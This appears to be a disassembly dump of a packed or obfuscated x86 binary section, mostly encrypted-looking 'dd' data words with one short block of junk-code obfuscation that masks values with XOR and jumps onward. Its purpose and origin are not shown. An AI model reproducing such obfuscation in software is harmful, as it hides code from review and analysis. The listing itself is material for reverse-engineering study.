969B4118h, 0CDBDFA52h, 0D20E2D7Eh, 2654E597h dd 7481E619h, 0F8473706h, 37789BB9h, 84A9FA45h, 0DB1E4FF8h dd 3C1179B6h, 6FB5F453h, 0BECE6682h, 95C86A85h, 204BD143h dd 174h, 0A27A5FEEh, 473A3B96h, 45D7307Bh, 473A3B35h, 4D8FD5D8h dd 0E3304996h, 3B7AAB98h, 0FB38F4E5h, 0EC49182Ah, 2D5F9CC1h dd 0D7B8F512h, 3F1A9368h, 7F16D9B4h, 8BF13E21h, 3E4E63B0h dd 0F49BD005h, 0A3E90657h, 0DC054B98h, 0C653969Ch, 1F6DAAA2h dd 245E6A02h, 0F8B34118h, 2E5E9BB9h, 2558FA15h, 7C4BD1BDh dd 0AEF24D3Fh, 7567h, 0A858AF00h, 0A4940861h, 8911736Ch dd 8794F122h, 7F0957F4h, 0C73A3B2Bh, 0ADFE4D3Eh, 1C41FE80h dd 0B69EA9DFh, 0ACC3ADCBh, 0EE52863Ah, 76F31150h, 3A631DF2h dd 3A425662h, 0B1F0BBC7h, 1554C458h, 0BCE19173h, 3A42D8E0h dd 227E3D47h, 0FE0AE2F7h, 13473A42h, 1A255798h, 0E6BAAC9h dd 35E77E01h, 473A42E5h, 3162A508h, 75D2BDF2h, 0B4DF0520h dd 9359h, 0AB588500h, 0E926256Ah, 16699A6h, 74BD8AF4h dd 0CFEE3F08h, 1BAC4091h, 0F449183Dh, 2A7BC8B7h, 0EA3EEE0Bh dd 0F411834h, 0BB0C6DACh, 0C0089716h, 0C359BE30h, 411882B7h dd 0F80D535Ah, 0F70C9B3h, 81C0E330h, 0E8533966h, 8238E9BBh dd 69C44118h, 0DC67150Fh, 63B0A3B5h, 0B3AC9606h, 0A41D4F02h dd 0BE467A3Ah, 211844D1h, 0D4CFB84h, 5EE993D8h, 1E5A070Dh dd 0AD9AE12Eh, 0F5E73D78h, 0C458B1FEh, 456DD35Ah, 43F4A77h dd 345594D7h, 79AA95E7h, 21FDE63Ah, 1C27525Fh, 6670ACCFh dd 9CC1266Dh, 5C84222Bh, 0B9DE9288h, 3A26D7E3h, 2D733A47h dd 2014A19Bh, 5E2B6849h, 72A3A0EBh, 3AA3F033h, 24A6BA7Eh dd 71AFEED7h, 0B390FBB8h, 0ED3E0D7Eh, 56A8FCEh, 105A4397h dd 0D907B641h, 8A62478Ch, 41105A7Eh, 999FA293h, 3C51D4D7h dd 0F29AA7FDh, 8BF13E49h, 60D163B0h, 0A107FCC4h, 0F3386DDAh dd 475BA85h, 7BE6EA3Bh, 7E4329FDh, 0E2D85C85h, 0E021E8DBh dd 3D78AD9Ah, 6EDE1AE7h, 0C6BFEC95h, 185B88B3h, 92034663h dd 0E059234Eh, 760A39Ch, 9AC6850Ah, 0FB444879h, 0D083259Eh dd 911313F9h, 0B845C059h, 0E99203FCh, 0CAD9552Bh, 0AFFE22B9h dd 1F4CF782h, 202C4C35h, 4B98A7D3h, 0BFCDF428h, 0BB0C6D84h dd 0F8092D17h, 0C5F34E02h, 0D0D39461h, 3A426FB5h, 0E0ABE801h dd 6283D745h, 477612FDh, 4894D704h, 3223Dh, 0CB100000h dd 3D067773h, 8EB9C3E8h, 0DF68105Dh, 2A19618Eh, 7DCAB4F9h dd 0CC7B0328h, 1C27529Fh, 6EDDA2CFh, 0BC8BF03Dh, 8957696Fh dd 4C781E7h, 50000000h, 4B8h, 58C72900h, 5C243C87h, 6D1B68h dd 242C8900h, 523768h, 241C8900h, 63A2BF57h, 0BA523499h dd 3AC3B5CDh, 295AD589h, 8B545FFDh, 0C483241Ch, 0BD555204h dd 398C00E0h, 8108E5C1h, 0A80B5EF5h, 0F3ED8141h db 63h, 40h word_580046 dw 0F75Fh ; DATA XREF: ___:off_427A80o ; ___:00427A88o ... dd 8CED81D5h, 89919778h, 0DA015DEAh, 8B5A2A89h, 8951241Ch dd 4C181E1h, 83000000h, 0C8704C1h, 34FF5C24h, 0C4815D24h dd 4, 0F82AAEE9h, 72B953FFh, 465D2035h, 2A57AEB8h, 0FFC50306h dd 79A9D8E0h, 0DCAE6F18h, 5777513Dh, 0D4028E42h, 98715227h dd 0E6FE1107h, 0E39E5259h, 0AF658A77h, 8080177Ch, 388D8D3Bh dd 6A062A59h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 564BC357h, 17E03532h, 2D9D0B50h dd 5A06221Eh, 33F18D89h, 0DE90622h, 37000000h, 231C84C7h dd 59446B73h, 32E29120h, 2D3185C7h, 59B00622h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 9D8BB8C3h, 62210BDh, 30E585C7h, 622h, 8B660000h, 81B5FFD9h dd 89062212h, 22306185h, 6595FF06h, 6A062220h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 0FC10C350h, 13E955h, 8BA0000h, 14823C81h, 68258845h dd 4258BED9h, 0E5063731h, 0FF006A10h, 22307595h, 0EBC08B06h dd 3F46F82Fh, 0B06C45C0h, 0D7363A92h, 0A762ADB7h, 2D8BAEB4h dd 0D17D79BCh, 58F73D5Eh, 0C604EB55h, 0C9864532h, 859BB535h dd 67AB1D3Eh, 3F7E6F5Fh, 7E8h, 2C900B00h, 0C3F21EE5h, 5880Fh dd 81660000h, 5F6798E3h, 0FD852B51h, 5B062227h, 6BDAC781h dd 0B70F0000h, 0F5C92BD7h, 33934FFh, 2225F59Dh, 66575E06h dd 5BFF5CB8h, 0AA13EE81h, 2CBB2C34h, 81594196h, 0E1BF2DF6h dd 0B8D0F01h, 0F000000h, 58Dh, 0E3816600h, 0F6819D6Ch dd 4C5AD474h, 348953B6h, 659D8B0Fh, 51062219h, 2CD99D89h dd 835A0622h, 0BA6604E9h, 0F981E133h, 0FFFF94CCh, 13850Fh dd 858B0000h, 62214ADh, 1AE9h, 0D0826000h, 0D3D39824h dd 0E965B7FCh, 0FFFFFF88h, 0B7CC7C72h, 0FAC59408h, 8DA726D5h dd 2A5AB58Dh, 0FEB70F06h, 33F18D89h, 62B40622h, 2D3185C7h dd 63600622h, 0EE80000h, 3000000h, 0A4C20772h, 5527A0FDh dd 121C45B0h, 63D0809Fh, 0E585C75Fh, 62230h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 0A61FC352h, 0B0F162DFh, 0B9B5FFE7h, 0F062204h dd 95FFC6B7h, 6222065h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 0DBC35646h, 8BD07939h, 0C28166C1h, 6A6723h dd 307595FFh, 0C08B0622h, 9CE71AEBh, 697A3667h, 22BF7A14h dd 9D8E62EAh, 30FDB44Ch, 0F54DBF8Bh, 0ECCDFD0Bh, 2FE9h dd 1856C800h, 37h, 0Ah dup(0) dd 608E9h, 28137A00h, 9CABD0C1h, 4434C75h, 6AD5A4EDh, 0D3701E03h dd 65AE4EB8h, 0DEC32A19h, 4B749FACh, 0A6EB023Dh, 0DB026DD6h dd 60DAEEBEh, 9B3F4110h, 3A05778Bh, 9EA9D0DDh, 88F63B42h dd 4A4750BBh, 23772540h, 0D6473A3Bh, 3477A4E7h, 80BBC1E8h dd 0D56E1E53h, 45364380h, 0EC9FDA06h, 775A0E5Fh, 0AFF54E3Ah dd 7E0E2642h, 3BE109E3h, 9914473Ah, 5C400166h, 28C4A3h dd 0F5473A16h, 2D9F3DC6h, 8D4F9B11h, 0BA2473Ah, 464B94C8h dd 6E730732h, 0E8CB5A43h, 0FC216071h, 2A177EB1h, 7BB0E55Eh dd 29E3300Fh, 94E440B8h, 0B8ACD11h, 0DB1A071Eh, 42FD8FB0h dd 0A6A1E825h, 0F5262569h, 81536AB6h, 473A347Eh, 0F223206Fh dd 2370CBBDh, 39ED0B04h, 1336B2BFh, 51F3CC5Eh, 37147AB7h dd 0B499C7E6h, 5Ah, 1C057762h, 3A3B7880h, 83D74547h, 76473A3Bh dd 70B3FA47h, 3B4B9123h, 18E9473Ah, 602F6CE0h, 2D73B2E3h dd 0F3DB74E9h, 14151h, 77C90000h, 0FD224704h, 3A3B1B2Fh dd 61BFFE47h, 0E7641744h, 371079B6h, 73BC71D2h, 0C470665Ah dd 5E9B4D98h, 0D2711A1Ah, 3D0676BBh, 77778D2h, 0B5C6EB38h dd 900C7196h, 473A3B48h, 8BD20EADh, 8785E36Ch, 0A7B223Eh dd 1E423348h, 759CABD3h, 0E207404Ch, 87DBEFBDh, 7F3E473Ah dd 0A8D70421h, 2068E595h, 74B7F627h, 0B1C7D435h, 1D334A96h dd 0FB381454h, 4362B390h, 1E54391Dh, 0C38151F3h, 89000000h dd 8E1E0777h, 473A3B7Ah, 0BC74A2DBh, 0BD8291F4h, 416EBFFEh dd 24DC013Eh, 1CA1E825h, 0A34DD821h, 83D013C8h, 0B3353C60h dd 53277459h, 0D484A7F4h, 473AE884h, 4A4F442Dh, 7DC29048h dd 0B7C7E23Eh, 33186188h, 3AA15179h, 0ABE9C447h, 2643008Eh dd 0A2FE585Dh, 0FF3E6FDCh, 0B93B306h, 0EDE83856h, 0BCE023EFh dd 0A354469h, 63DCA0EDh, 98ADF332h, 98AFC9B0h, 51F361F5h dd 0AC9BEF2Ch, 7CAD70h, 77750000h, 7A8E1E07h, 9F473A3Bh dd 5A4822A6h, 2D6CAC0Eh, 474B9EAh, 0BDD8EA3Bh, 53DEF3C4h dd 3A53B1D9h, 0AC496447h, 6FB55703h, 0C0CE6682h, 2A0F6883h dd 3A642672h, 0AFE0CB47h, 0F03360DFh, 47710ACh, 35461647h dd 9D473A3Bh, 0C64CCBBCh, 60714276h, 59B3353Ch, 0C790B874h dd 0CF5D473Ah, 473AC6BBh, 0CBE25F5Eh, 0DECC8195h, 0E82551F2h dd 63E0ABA2h, 6CB0F320h, 1A1h, 8776900h, 0B7C5EA3Bh, 0CF55F8Ch dd 75A760ECh, 7E5387A7h, 97F8015Fh, 847F41A8h, 0BDFC4731h dd 0AB2A5F5Ch, 1C923570h, 91CF0E8Fh, 0DFDBAC40h, 9B6C4918h dd 0E7AB7339h, 0C47DA30Fh, 1A9293E7h, 4118A3CEh, 16498823h dd 55E4A8C5h, 0A4C91A29h, 0ED2C6FD8h, 54EF9D82h, 0A3277507h dd 513A4118h, 813FC548h, 3D7C4A70h, 8DB6C3E8h, 0D8101958h dd 0CB2D0052h, 6E3E2369h, 4118E85Ah, 52BDFCBFh, 0F7241F6Dh dd 0E4D3D2BAh, 0A187EEB5h, 0E297ABDh, 3F4DE701h, 1449ED04h dd 0A14BD131h, 151h, 64AB5869h, 7C85F603h, 68B01AFCh, 86D7166Fh dd 0F3D83967h, 43CA1E8Eh, 822F473Ah, 710A4DF6h, 88160480h dd 94366A76h, 491855AFh, 61896348h, 9441188Ah, 6F4EFB19h dd 0B08BF13Eh, 1B246859h, 0FE808DCAh, 0A6D61341h, 5523489Dh dd 874B9EAh, 4ECBEE3Fh, 48C1042Ah, 0ADDFDC30h, 0ED224192h dd 327FA5A2h, 4496F14Ah, 4BD12B09h, 55ACh, 525F7A00h, 0A4D41D26h dd 0F52B4A9Bh, 41A6EDE3h, 736C7FABh, 0A5B5211h, 3A3B2E7Ah dd 8FE910C7h, 9CF6C4BDh, 89AE13CAh, 84F014Bh, 3A398AEFh dd 0D83F68E4h, 91992371h, 8491738Dh, 31EBD029h, 473ADAE9h dd 0D448A10Ch, 473ADA84h, 0F51E4269h, 8C1Eh, 0AB58C400h dd 86F60364h, 0BA7267BDh, 49183DE9h, 4966B706h, 0A091F843h dd 623263DCh, 411835AFh, 9C98D05Dh, 0E53257F0h, 686BA996h dd 13AE5B08h, 2CC07BB8h, 0C1A2EFEh, 0BCFF4118h, 0D0DD3A7Dh dd 5EED92ABh, 62AFEE0Dh, 0BCFF2C17h, 0B0BB7160h, 5D4F0226h dd 47B7BBE4h, 56C6A760h, 4B768A02h, 4285C4F7h, 0D1A7F411h dd 7D0F2A76h, 36BB91C2h, 59A65DB2h, 3941DB00h, 2C4B768Ah dd 77B6E760h, 5CBDE3CAh, 6CA067C0h, 6A852845h, 64AB58B0h dd 0B883F603h, 3107564h, 0F496CA75h, 4920117Bh, 0F50597FCh dd 18411060h, 61D24F95h, 1AFE96F8h, 0A4E92899h, 46340577h dd 85C2C8F9h, 0BBD21550h, 102B515Eh, 357CA0C3h, 1DAFFC47h dd 5E020787h, 0D9672021h, 89E2A358h, 698F6AB6h, 85BA22E3h dd 0B4A2F6A6h, 64577066h, 6D46959Fh, 0B7820A37h, 165586C1h dd 5E5BBCD7h, 0A5CC102Bh, 0F23F6CD7h, 426FBC87h, 9FDC013Ah dd 0CF0152EDh, 0B666E602h, 70666A62h, 4BE52497h, 2DDC956Eh dd 0A68E7A02h, 66ADA2F6h, 25645770h, 3EF672FFh, 0BD9AF54Eh dd 96F7AAC4h, 5CD02F0Ch, 70668C0Ch, 468BCAE1h, 0ABD60A39h dd 0F40166E1h, 4B6ABB84h, 8693F015h, 3D0A56F5h, 8, 1E295F5Ch dd 73CB32C2h, 0E83D0677h, 5D8EB9C3h, 8EDF6810h, 0F92A1961h dd 287DCAB4h, 9FCC7B03h, 0CF1C2752h, 3D6EDDA2h, 6FBC8BF0h dd 231A6869h, 8F540000h, 4812404h, 424h, 21B66800h, 4890000h dd 0E0895024h, 405h, 4E88300h, 5C240487h, 52243489h, 7C466851h dd 0F7591822h, 0C18149D1h, 1E4CD755h, 8959CA89h, 0DE685AD0h dd 89000008h, 4812424h, 424h, 81505E00h, 49FA2404h, 468F5454h dd 6EBB5308h, 81347364h, 272D94F3h, 85E2960h, 2434FF5Bh dd 4C4815Eh, 0FF000000h, 81582434h, 4C4h, 21D9E900h, 0D47DFFF8h dd 1A0F5E53h, 3C38EDBDh, 6085B86Bh, 0C503062Ah, 0A306E0FFh dd 0F843268h, 682D7CC7h, 2F8F6BCDh, 26A045FBh, 0E0F9303Bh dd 0E8A2C64h, 0DB4C2125h, 26BB647Eh, 24AE6CA8h, 63E03076h dd 0FD64971h, 83781288h, 973634F5h, 1E056FD0h, 527A7581h dd 412644F2h, 0F51E4333h, 1ECD240Fh, 8F0F020Fh, 151346C9h dd 20B23E23h, 111E57AFh, 0F221405Ch, 0E01C4C05h, 10EB5C98h dd 4 dup(0) dd 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 4F2F25C3h, 0FF569FDh, 9E84Bh, 525D0000h dd 83130EDEh, 8B4FCA3Dh, 223125B5h, 0BD835E06h, 62208DDh dd 83097500h, 220A21BDh, 19740006h, 0C08B5350h, 42DB8h dd 39858900h, 8D06221Bh, 24BFC99Dh, 5BD3FF06h, 21BD8358h dd 6220Ah, 53501774h, 42DB8h, 39858900h, 8D06221Bh, 24BCB89Dh dd 5BD3FF06h, 0F6816058h, 843C978h, 155D8529h, 89610622h dd 22259D8Dh, 8BC08B06h, 220735B5h, 8B87B206h, 2220AD8Dh dd 0F983F506h, 0B9840F00h, 0E9000000h, 12h, 0CB23B46Ah dd 14A43B69h, 0E9DF7337h, 0F5806051h, 8B640460h, 2C3Dh dd 21B58900h, 0B062214h, 8D840FFFh, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 1BB4C357h, 45B523B4h, 8B06221Ah, 51006A3Fh, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0B503B988h dd 62205D9h, 6AC032h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 621A92C3h, 0AAF3279Eh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 8BC35747h, 0BABB48B3h dd 50414935h, 51006A53h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1B04h, 0C3514100h, 0C0930F4Dh, 0BE2F6E49h, 10E9h, 29611A00h dd 0E5EFF549h, 0A5B75FFFh, 988F15EFh, 985C654h, 47062233h dd 48D68166h, 0ACEC6809h, 0BAB6CDADh, 40240481h, 600F28DBh dd 34E9B58Bh, 59570622h, 49B5FF61h, 66062226h, 82BEE281h dd 7DBE858Dh, 6A0625h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 2AC4DCC3h, 0E5087E4Eh, 0FC304822h dd 9D31D0FFh, 6221EB9h, 5A98589h, 8B660622h, 985C6D3h dd 53062233h, 4E8F18Bh, 0FC000000h, 6688986Ah, 50E1E1BAh dd 2586BE66h, 424448Bh, 12E850h, 0DF640000h, 0F942D090h dd 0BEF92C04h, 89D3CE78h, 24DE4860h, 13E9h, 12B80100h dd 29E37D03h, 7A45DE4Bh, 688F6566h, 0D91DF463h, 8B5E5Ah dd 4C90CBBEh, 2444893Ah, 0EE904h, 0E55D0000h, 0DA9C4C65h dd 29BC7D12h, 18C0BC9Eh, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1A04h, 0C3524200h, 81B21CE5h, 5107CD86h dd 5A2ACA80h, 2649B5FFh, 0EE90622h, 99000000h, 0B3DA1FD4h dd 15641369h, 0CE4A5836h, 0BE858D0Dh, 0BE06257Dh, 22AFCAF9h dd 8DD0FFFCh, 25444985h, 19BD2906h, 89062200h, 2231BD85h dd 206AF806h, 95FFFF6Ah, 62231BDh, 50414935h, 0B185C753h dd 1062232h, 0C7000000h, 22272585h, 6, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 66D11EA2h, 0ED6BC681h, 0B199529h, 858B0622h, 6222219h dd 641CC280h, 0A3h, 75BD8300h, 62218h, 15840Fh, 0F78B0000h dd 290D858Bh, 81660622h, 8B9150C2h, 0D9958BE0h, 83062206h dd 222171BDh, 850F0006h, 493h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 21C35545h, 0F5A9E9Fh, 48Dh dd 0EBA6600h, 28F0F9Ah, 8B000000h, 985C6F7h, 56062233h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0F0C35242h dd 689AFA68h, 0CFABFAC6h, 8E8h, 2B4D6D00h, 6D4DA721h, 0D38B66D7h dd 2434815Ah, 666ECA19h, 2841958Bh, 958B0622h, 6222D15h dd 2649B5FFh, 0B5010622h, 62201F5h, 7DBE858Dh, 6A0625h dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 0FFC875C3h, 0AD8589D0h, 0E9062233h, 0Ch, 0A3A7EF0h dd 0E823E30h, 0FC7A7B8Fh, 14E850h, 5A7B0000h, 4A1F8468h dd 0B79EF21Bh, 5858C49Ah, 0C3D3088Ch, 8B56DFDAh, 895E5EF7h dd 0EE92404h, 70000000h, 0CDD7DCDEh, 0C45ADF4Eh, 0D4CE7398h dd 0D18D8D6Ah, 0F8062206h, 89D78B50h, 8166240Ch, 6A793AD2h dd 13E804h, 91500000h, 6B980CF2h, 439FBC6Bh, 0EBB9FA51h dd 674AE348h, 0FD8531C4h, 5E06221Ch, 80A53A68h, 12E86052h dd 46000000h, 89ECBACAh, 0E0E37E4Bh, 0EDBC0F5h, 0DCC45E06h dd 5E616035h, 81615F57h, 0B53A2434h, 5E85280h, 4D000000h dd 0F8645880h, 5AF3B70Fh, 118DB5FFh, 0BD890622h, 6223109h dd 0BE66D0FFh, 0BD8B9C13h, 622118Dh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 0A8C35343h, 2DE42156h, 99B5096Fh dd 306222Ch, 8B663C7Fh, 6E8F3h, 8E9F0000h, 743D1D70h, 0C7815EF8h dd 0F8h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 0A7C35242h, 9D896558h, 6222459h, 202447C7h, 50600000h dd 5F5958Bh, 835A0622h, 2A6184BDh, 840F0006h, 1BDh, 83D1B70Fh dd 6A28C7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 60D7EEC3h, 1D718523h, 0B5330622h, 6220859h dd 2E07C761h, 6A64696Ah, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 3C8BC352h, 0A7B6A54Ch dd 447C7F5h, 617461h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 97C35646h, 0B6F9F49Fh, 0E87C14DBh, 0Fh dd 7C48DE44h, 0DB12A062h, 79658070h, 8976F934h, 22206995h dd 858B5A06h, 62A618Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 0A8C35343h, 0C1B9D08Dh, 8E0Fh, 47890000h dd 51006A0Ch, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 42768758h, 6190858Bh, 0F08A062Ah, 0BA084789h dd 4E9D2325h, 5328C783h, 184D958Bh, 0C75E0622h, 6F632E07h dd 9E96Eh, 25EB0000h, 0A7078D69h, 0C74C1943h, 69660447h dd 6A0067h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 858BF0C3h, 62A6188h, 110D8D89h, 47890622h dd 0CE90Ch, 0DB490000h, 0EF00C301h, 0CDE99386h, 858B97A0h dd 62A6184h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ah, 4EC35646h, 0F40132CAh, 8E9A38Bh, 81000000h, 6E51CFB5h dd 891BBC87h, 6A0847h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 0C59C4DC3h, 8161C232h, 0CE80E85Bh dd 6A58A9h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 0B21931C3h, 6A2CFFFCh, 0DA80847Dh, 158D8D46h dd 0E9062203h, 0Ah, 0C54D275h, 166DEBAh, 0E8917BA0h, 0Ch dd 0B6F09F73h, 0D2C29D5Ch, 6203294Bh, 0B239BE66h, 15BE505Eh dd 9161EECAh, 11E9h, 0F5FEA700h, 3E133BFEh, 2742BE83h dd 7302A3A7h, 0B5FF5238h, 62206D1h, 0AF681EB2h, 608E1826h dd 61C78B66h, 51240481h, 6A71E7E9h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 4406C355h dd 17DA98Ah, 8C0F500Dh, 3, 5ED08B66h, 0FFD2B70Fh, 22118DB5h dd 68D0F06h, 8B000000h, 220EA9B5h, 60D0FF06h, 859B589h dd 0B8610622h, 0 dd 1CD5B533h, 0C00B0622h, 1D840Fh, 8D890000h, 62227D9h dd 271DB5FFh, 95FF0622h, 6222065h, 591094BAh, 8D95092Ch dd 8B062218h, 38B0FC0h, 66000000h, 0BD83F18Bh, 62208DDh dd 83097500h, 220A21BDh, 19740006h, 0C08B5350h, 42DB8h dd 59858900h, 8D06220Eh, 24C0309Dh, 5BD3FF06h, 21BD8358h dd 6220Ah, 53501774h, 42DB8h, 59858900h, 8D06220Eh, 24BCD19Dh dd 5BD3FF06h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1D04h, 0C3534300h, 0AA31FF77h, 9653CCF8h, 800FA1D1h dd 5, 0AA9A83BEh, 50C08B3Fh, 0A0F7EE81h, 8B5A6FB6h, 1EE9C0h dd 2D460000h, 99h, 6 dup(0) dd 537E9h, 0BC87F600h, 201F6C55h, 88B7D8C9h, 0FE493061h dd 67E4AA97h, 0F13A3A0Ch, 6A57BE8Dh, 0C7C82320h, 327F96B1h dd 6F96F14Ah, 5146920Ah, 0E7AB4110h, 0A27A5F3Fh, 473A3B96h dd 0C5EC307Bh, 2E6B8CB7h, 6AB3E15Ah, 4494086Dh, 0A9473A3Bh dd 3B204824h, 0E6D5473Ah, 26256AA7h, 4F6AB6F5h, 0C17A0E3Fh dd 0E41FE80h, 69D2BAE7h, 0BA85F724h, 5B2F6C69h, 289B0ECh dd 61601045h, 80DC6B14h, 97E53FB9h, 2C5C45ACh, 8CD16E1Dh dd 0DAC72E61h, 34095AEh, 8AC784F6h, 0D41D4300h, 64E397A6h dd 955CF025h, 9CA7D153h, 65176475h, 0DBEFBDDAh, 3E473A3Bh dd 7418217Fh, 1B61AECBh, 6CB0F320h, 3B788B59h, 2FD2473Ah dd 0DBCB86C9h, 86EE51F3h, 34000000h, 0DD3A0577h, 9FE9E364h dd 2C707CA0h, 3E3D4B19h, 8693473Ah, 3DE3EF3Dh, 469AF80Ah dd 828F7DFBh, 0DC1F4CF7h, 5BD99480h, 8FC51F3h, 97000000h dd 55EE9Ah, 5FE7BFE5h, 1A5B62E6h, 538168ABh, 0B5E66516h dd 0E7341378h, 18ABFCAh, 26D20342h, 0D98B6223h, 4D9EA9DFh dd 30FC552Eh, 0BB3D0458h, 8374451h, 3D4498DBh, 9B98F14Eh dd 0E40754F3h, 354257B8h, 8C094144h, 8C64D42Fh, 87DD184Dh dd 0DE29127Ah, 2C525F44h, 71AFCE1Fh, 0D4F94648h, 4974D6AFh dd 0ADFF6564h, 0FD2362E1h, 2B78C7B4h, 4FE5030Ch, 0B8E9003Fh dd 0F53A6BD4h, 0A068BD8Ah, 0E588BF39h, 3C51F352h, 0FF33C54Bh dd 0CF158BFDh, 7046h, 777CC00h, 0E666DF38h, 0D4EE964Ah dd 307D88D4h, 35A3F04Fh, 1678BC3Ch, 98E45527h, 0FC3F6CAFh dd 216D52BDh, 0B0E5622Ch, 0D8D53275h, 3E4F95B2h, 94B3DCD9h dd 0EF582148h, 41FE8D8Ah, 9B46CA13h, 7B472A5Dh, 515E51F3h dd 0A0C3102Bh, 5BD17Ch, 0B7C40000h, 145784C3h, 77734C8h dd 0B2C6EB38h, 270A4489h, 2C1B63C1h, 81BACECBh, 80C3115Ch dd 0FD04770Ah, 0D77B81B5h, 0BE8DFD76h, 0CC0F4E6Dh, 0BABACD9Fh dd 0ED14473Ah, 0C05C818Bh, 473ABAB8h, 0A025E5Dh, 51F35A57h dd 1062h, 7C301500h, 473AB62Ch, 0D4A5EAC1h, 0A5FB3A6Bh dd 0E8E65F09h, 5EAB90CDh, 5D224F95h, 0C8A489EEh, 473ADDA0h dd 6EC1E811h, 43DFB07h, 0ACE12213h, 7DBC8E0Ah, 0A3E90627h dd 10C14B98h, 32335CD8h, 78AD9AE5h, 2D5F6B3Dh, 0FBB2473Ah dd 944F51B8h, 0A2ED2A4Fh, 821A7FA5h, 49185E31h, 9EADD1DEh dd 0BEEF2E4Dh, 0D9300B71h, 7E9BA4E8h, 12778319h, 139A4118h dd 0DEECB8CDh, 0DE411812h, 6D1F1553h, 4293ACDCh, 0A287E023h dd 1812BECAh, 0AE7E5341h, 4118129Ah, 0A7FD3C7Fh, 3E0973BCh dd 0A5BCC0EDh, 1812A3F7h, 24675641h, 0FA0E9EC3h, 1F411812h dd 225409Ch, 4B31F375h, 84599F0h, 614BD1B3h, 0A17555A0h dd 0D4A790E5h, 8DFB3477h, 1E4261B2h, 0F437h, 0AB581F00h dd 85F60364h, 12779AC6h, 0A3ED75B1h, 558B12BFh, 18B08CB3h dd 0E93A7149h, 648FB8C4h, 0A5F6513Bh, 0EA3B0488h, 0E2642CFh dd 88AAC57Eh, 4BD110D5h, 31E0h, 0A8582E00h, 0A4940861h dd 8911736Ch, 1723F122h, 29C73A3Bh, 8D43C820h, 0DF4B2146h dd 0B291736Ch, 967D90FBh, 1C000000h, 9ED3701Fh, 0E50055EEh dd 0E65FE7BFh, 6EBB013h, 0FC1E42F1h, 0EA760207h, 0EE7A543Eh dd 28654AAFh, 0EEB8E463h, 49183F5Dh, 85AAFBB2h, 0FC254CF7h dd 0D666B790h, 41182A7Bh, 0E84CAC81h, 60709BA4h, 54859673h dd 944BC6D5h, 0EE9790B1h, 512ADBF8h, 0E599A0BBh, 6186B935h dd 3D5F298Bh, 51CB304Fh, 4B771309h, 0A693C1ECh, 7481C617h dd 0FB48320Bh, 2F5D64B8h, 844DC714h, 0AFF4EF64h, 0E3D4D4Ah dd 755ABFD2h, 771393A7h, 0E937864Bh, 52C85D5Fh, 1E694445h dd 64AB5884h, 0E1176903h, 0C5D2491Fh, 1B5A8BB4h, 8614CC5h dd 0F36CB9BFh, 32EA229Ch, 411096E6h, 3361A00Bh, 8CB7C5EAh dd 0E2612E6Bh, 252E72B1h, 66B790FCh, 8C543BD6h, 6E8A674Eh dd 1C7DC6B6h, 19A5E7ABh, 8610E8Dh, 0E72C4494h, 0DE02A94Bh dd 47008CB5h, 0B1B0D916h, 0E72CAFFBh, 286B424Bh, 48A051FBh dd 4CA7A0ECh, 0DD0E3943h, 342h, 73CBB000h, 0E83D0677h dd 5D8EB9C3h, 8EDF6810h, 0F92A1961h, 287DCAB4h, 9FCC7B03h dd 0CF1C2752h, 3D6EDDA2h, 6FBC8BF0h, 0E2895269h, 4B850h dd 0C2010000h, 4EA8358h, 5C241487h, 81E68956h, 4C6h, 4EE8100h dd 87000000h, 895C2434h db 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push esi mov esi, 1C9E5FFCh shr esi, 2 inc esi sub esi, 0BF3C59A1h mov edi, esi pop esi sub edi, 41C0D3DEh push esp mov ecx, [esp] add esp, 4 push edi push eax mov eax, 1BAE293Dh xor [esp+4], eax pop eax pop dword ptr [ecx+8] xor dword ptr [ecx+8], 1BAE293Dh mov ecx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push dword ptr [esp] pop edi add esp, 4 jmp loc_502B27 ; --------------------------------------------------------------------------- db 0A9h, 4Eh, 3 dd 4CB9E559h, 0AAB2A790h, 2C33E5FBh, 2A6F11B8h, 0FFC50306h dd 0FBC0E8E0h, 92798878h, 0DC9F4E19h, 2F8FEC0Bh, 0C6C0BD53h dd 0C44F1F65h, 